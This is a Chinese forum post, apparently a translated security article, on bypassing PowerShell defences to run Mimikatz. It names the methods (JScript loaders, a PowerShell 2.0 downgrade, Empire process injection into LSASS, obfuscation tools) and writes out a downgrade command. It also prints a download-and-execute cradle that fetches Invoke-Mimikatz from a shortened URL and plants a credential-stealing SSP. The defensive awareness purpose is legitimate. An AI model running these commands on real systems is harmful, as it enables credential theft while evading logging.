|
一、绕过 PowerShell 保护
现在我们已经探索了 针对恶意 PowerShell 的各种保护,让我们看看如何绕过这些 PowerShell 保护中的每一个!别担心,这些 PowerShell 保护仍然会为难攻击者。但是,我们需要意识到,他们无法阻止一切。如果攻击者想要运行 Mimikatz 并访问你的凭据,他们会找到方法。对他们如何绕过这些控制了解得越多,你就越能做好准备。考虑到这一点,让我们来看看攻击者在寻求破坏你的凭据时能够绕过本机保护的一些有趣方法。
二、没 PowerShell,没问题
如果攻击者选择完全避免使用 PowerShell,则受限语言模式和脚本块日志记录将不会起到多大作用。最近完成的一种方法是在 JS 中使用 Mimikatz。Casey Smith (SubTee) 提供了一个 JScript 文件,可以加载 Mimikatz。 这是使用 DotNetToJScript 实用程序构建的,此构建可以从内存加载 .NET 程序集的 JScript 文件。
该文件本身看起来像下面这样:
但是,你可以使用此文件并将其与 Windows Script Host 可执行文件一起加载,然后它将启动 Mimikatz。你可以在下面看到使用它来创建恶意 SSP。
还有其他 Windows Scripting Host 漏洞利用以及 JavaScript 被恶意使用以针对 Windows 系统的示例,因此了解这些攻击的工作原理非常重要。
三、用低版本的 PowerShell 攻击
受限语言模式妨碍了?尝试使用 PowerShell 2.0。攻击者可以通过多种方式使用低版本的 PowerShell 来避开 PowerShell 5.0 中提供的保护。一种简单的方法是指定从命令提示符启动 PowerShell 时要执行的 PowerShell 版本。
通过在启用了受限语言模式的系统上发出以下命令,可以绕过这些 PowerShell 保护:
- PowerShell –Version 2 –Command [Your Command Here]
复制代码
在这里你可以看到它被用来通过 Mimikatz 创建恶意 SSP。
如果 PowerShell 2.0 被禁用,还有其他选择,可以使用 Empire 中内置的 进程注入 功能,它利用 ReflectivePick 加载必要的组件以将 PowerShell 运行到任何进程中,而无需实际启动 PowerShell 本身。
通过运行 psinject 模块,可以选择要注入的进程,并且将检索一个新的 Empire 代理,可以从中启动任何你希望的 PowerShell 命令,绕过约束语言模式。
我已在 SYSTEM 帐户下运行的 LSASS 进程执行了注入操作。
因此,建议禁用不需要的 PowerShell 版本,例如从 Windows 中删除 PowerShell 2.0 功能。这在 Windows 10 中默认启用。这样做时要小心,因为它可能会导致与现有脚本的兼容性问题。
四、用混淆隐藏我们的踪迹
攻击者绕过检测可以做的另一件事是混淆代码,这甚至可能使脚本块日志记录对于准确了解 PowerShell 脚本中发生的事情变得不那么有用。Daniel Bohannon 为 PowerShell 混淆提供了两个非常有用的工具:Invoke-Obfuscation 和 Invoke-CradleCrafter。
假设我们要运行以下脚本,该脚本将从 Web 下载 Invoke-Mimikatz,然后发出创建恶意 SSP 的命令:
- IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -Command '”privilege::debug” “misc::memssp”'
复制代码
如果我们能够运行它,它很有可能会被记录在事件日志中,即使它被编码。
但是,你可以使用许多技巧使脚本混淆。没有详细说明,我使用 Invoke-Obfuscation 和 Invoke-CradleCrafter 模块将该脚本转换为:
几乎不可能看到发生了什么,但你可以看到最终结果是我的恶意 SSP 被注入。这不是使用编码,所以脚本块记录仍然非常模糊。
五、努力跟上
对于每一种保护,都有一种解决方法。对于安全专业人士来说幸运的是,有一些安全研究人员正在努力寻找这些弱点并引起我们的注意,安全总是在变化,通过向 Mimikatz 等工具学习,可以尽可能了解 PowerShell 保护的最新情况,并尽可能让攻击者难以应对。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|